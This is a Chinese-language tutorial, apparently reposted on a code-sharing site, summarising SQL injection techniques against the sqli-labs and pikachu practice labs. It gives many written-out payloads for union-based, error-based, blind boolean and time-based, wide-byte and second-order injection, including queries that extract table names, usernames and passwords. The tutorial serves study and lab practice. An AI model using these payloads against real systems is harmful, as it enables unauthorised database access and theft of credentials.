SQL注入攻擊總結


一、什么是SQL 注入

SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。個人理解就是程序員寫程序的時候,前端輸入的數據沒有做限制,導致黑客可以通過改變前端輸入的變量從而改變sql語句獲取數據庫機密信息

二、判斷是否存在注入點(涉及靶場:pikachusqliabs

1、and 判斷方法

http://192.168.1.6:8080/sqli/Less-2/?id=1 and 1=1--+

?id=1 and 1=1頁面正常

http://192.168.1.6:8080/sqli/Less-2/?id=1 and 1=2--+

?id=1 and 1=2,頁面錯誤

2.or 判斷方法

http://192.168.1.6:8080/sqli/Less-2/?id=-1 or 1=2--+

?id=-1 or 1=2,頁面錯誤

http://192.168.1.6:8080/sqli/Less-2/?id=1 or 1=2--+

?id=1 or 1=2,頁面正常

三、注入分類

1. 數字型注入

2. 字符型注入

 

3. 搜索型(like)注入

4. 其他型注入

1?Id=1) and 1=1 --+

2?id=1) and 1=1 --+

3?id=1) and 1=1 --+

四、提交方式注入

1. GET 提交

參數在地址欄提交

2. POST 提交

參數在請求體提交

3. Cookie提交

各種語言獲取Cookie方式:

Asp:request.cookie()request()

Php:$_COOKIE(),$_REQUEST

JAVA:request.getCookies()

 

五、注入攻擊方式

1. UNION 注入

UNION 操作符用於合並兩個或多個 SELECT 語句的結果集。(union oder by經常連用 ),一般先使用order by 爆破數據庫字段數。

先猜4個字段,報錯

   再3個字段,頁面正常,顯示存在三個字段

union查詢,http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,2,3--+,讓id=-1報錯,union后面語句爆出的數字能顯示數據庫信息

http://192.168.1.6:8080/sqli/Less-1/?id=-1%27%20union%20select%201,group_concat(version(),user()),database()--+爆出數據庫相關信息

MySQL為例,MySQL 5.0以上自帶一個information_schema庫,里面存儲你新建的數據庫的庫名、表名、列名。通過巧妙的利用這個庫,我們能獲取到數據庫里面的相關信息。(group_concat()函數可以將要查詢的字段拼接成字符串)

獲取當前用戶下的所有數據庫名:http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

pikachu數據庫為例,我們獲取它的所有表名:

http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'--+

users表為例,我們獲取它的列名:

http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=%22users%22--+

  通過用戶名和密碼獲取相關信息:

http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,username,password from users where id=2--+

2. 函數報錯注入和insertupdatedelete注入

有時候使用unionorder by進行sql注入時,數據不能回顯到前端頁面(前提是后台代碼沒有屏蔽sql的報錯),insertupdatedelete可以和updatexml()extractvalue()floor()配合進行報錯注入。

1updatexml (XML_document, XPath_string, new_value); 
    第一個參數:XML_documentString格式,為XML文檔對象的名稱,文中為Doc 
    第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。 
    第三個參數:new_valueString格式,替換查找到的符合條件的數據 

concat:返回結果為連接參數產生的字符串。

注入語句:?id=1 and updatexml(1,concat(0x7e,(select user()) ,0x7e),1)--+

2extractvalue(XML_document, XPath_string); 
    第一個參數:XML_documentString格式,為XML文檔對象的名稱,文中為Doc 
    第二個參數:XPath_string (Xpath格式的字符串)
    concat:返回結果為連接參數產生的字符串。

注入語句:?id=1 and extractvalue(null,concat(0x7e,(select @@datadir),0x7e))--+

(3)Floor(rand(0)*2)

   注入語句:?Id=1 union select count(*) from table_name group by floor(rand(0)*2);

   解釋:floor(rand(0)*2)的作用就是產生預知的數字序列01101,然后再利用 rand() 的特殊性和group by的虛擬表,最終引起了報錯。

 參考來源:https://www.cnblogs.com/sfriend/p/11365999.html

 

Insertsql插入語句,updateupdate更新語句,deletesql刪除語句。這是三個語句可以結合updatexml()extractvalue()floor(rand(0)*2)這三個報錯函數使用。

可以通過burp抓包,構造payload

格式如下:(updatexml()可以替換extractvalue())

a or updatexml(1,(concat(0x7e,(命令)),0) or

顯示表名

  a' or updatexml(1,(concat(0x7e,(select table_name from information.schema.tables where table_schema=pikachu limit 0,1)),0) or

顯示列名

  a' or updatexml(1,(concat(0x7e,(select column_name from information.schema.columns where table_name=users limit 2,1)),0) or

顯示字段名

  a' or updatexml(1,(concat(0x7e,(select username,password from users limit 0,1)),0) or

 

3. 盲注

條件:前端無法顯示報錯信息,頁面錯誤跳轉到同一個頁面和404頁面

盲注經常需要幾個函數的配合使用:

ascii() 函數:返回ascii碼中對應的值

length()函數:返回字符串的長度

left(str,num)函數 : 從左截取指定字符串

substr(str,pos,num) 函數:截取指定位置指定長度的字符串

mid(str,pos,num) 函數 :截取指定位置指定長度的字符串

If(expr1,expr2,expr3)函數:expr1成立,執行expr2expr1不成立,執行expr3

sleep()函數:執行select sleep(N)可以讓此語句運行N秒鍾

 

(1)基於布爾型注入

有些查詢是不返回結果的,如果要判斷查詢語句是否正確執行,可以查看函數執行返回的布爾值,正常顯示為true1),報錯或是其他不正常顯示為false0)。

例如:ascii(substr((select table_name information_schema.tables where tables_schema

=database()limit 0,1),1,1))=101 --+

# 這查詢語句解釋: 從 information_schema.tables 中查詢當前數據庫中第一個表的表名的第一位字符串是否 e(注ascii(e)ascii碼剛好是101),正確返回布爾值1或正常頁面,錯誤返回布爾值0或者返回錯誤頁面。

(2)基於時間型注入—延時注入

對於不能返回結果的,可以使用if函數和sleep()函數的配合,如果是執行成功的就延時一定時間再返回信息,如果不能執行成功就立即返回信息。

例如:If(ascii(substr(database(),1,1))=115,sleep(5),null)--+

#語句解釋:獲取數據庫名稱的第一位字符串的ascii碼是否115,如果是就延時5秒,不是就不做任何操作。

 

  小結:布爾盲注和時間盲注主要考驗一些函數的配合使用並且構造相應payload。手工一位一位的獲取字符串是費勁。在知道原理前提下我們可以通過使用一些工具來輔助(burp suit ,sqlmap等)。

  參考來源:https://www.cnblogs.com/startingpoint-fly/p/11158011.html

              https://zhuanlan.zhihu.com/p/87374920

 

4. 寬字節注入和二次注入

php.ini 文件中有個magic_quotes_gpc是用來設置GPC($_GET$_POST$_COOKIE)的魔術引用狀態(PHP4中也包含$_ENV)。當開啟時,所有的單引號,雙引號,反斜線和NUL's會被反斜線自動轉義。(php高版本放棄這種方式,php5版本存在此方法)

原理:mysql 在使用 GBK 編碼的時候,會認為兩個字符為一個漢字,例如%aa%5c 就是一個漢字(前一個 ascii 碼大於 128 才能到漢字的范圍)。在過濾 的時候,利用的思路是將 轉換為 \’

 

如果遇到magic_quotes_gpc開啟,我可以通過寬字節注入和二次注入的方式來突破魔術方法的干擾。

(1)寬字節注入(在單引號前面加個%df【注: url編碼是%27】)

當構造payload時我們把單號替換為%df%27,首先經過上面提到的單引號轉義變成了%df%5c%27%5c是反斜杠),之后在數據庫查詢前由於使用了GBK多字節編碼,即在漢字編碼范圍內兩個字節會被編碼為一個漢字。然后MySQL服務器會對查詢語句進行GBK編碼即%df%5c轉換成了寬字符,即%df%5c%27 = 。這樣我們就可以繞過magic_quotes_gpc的干擾了。

(2)二次注入

使用條件:

1.用戶向數據庫插入惡意語句(即使后端代碼對語句進行了轉義,如mysql_escape_stringmysql_real_escape_string轉義)

2.數據庫對自己存儲的數據非常放心,直接取出惡意數據給用戶

 

參考來源:https://www.jianshu.com/p/3fe7904683ac

 

注:本文章僅供學習參考。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM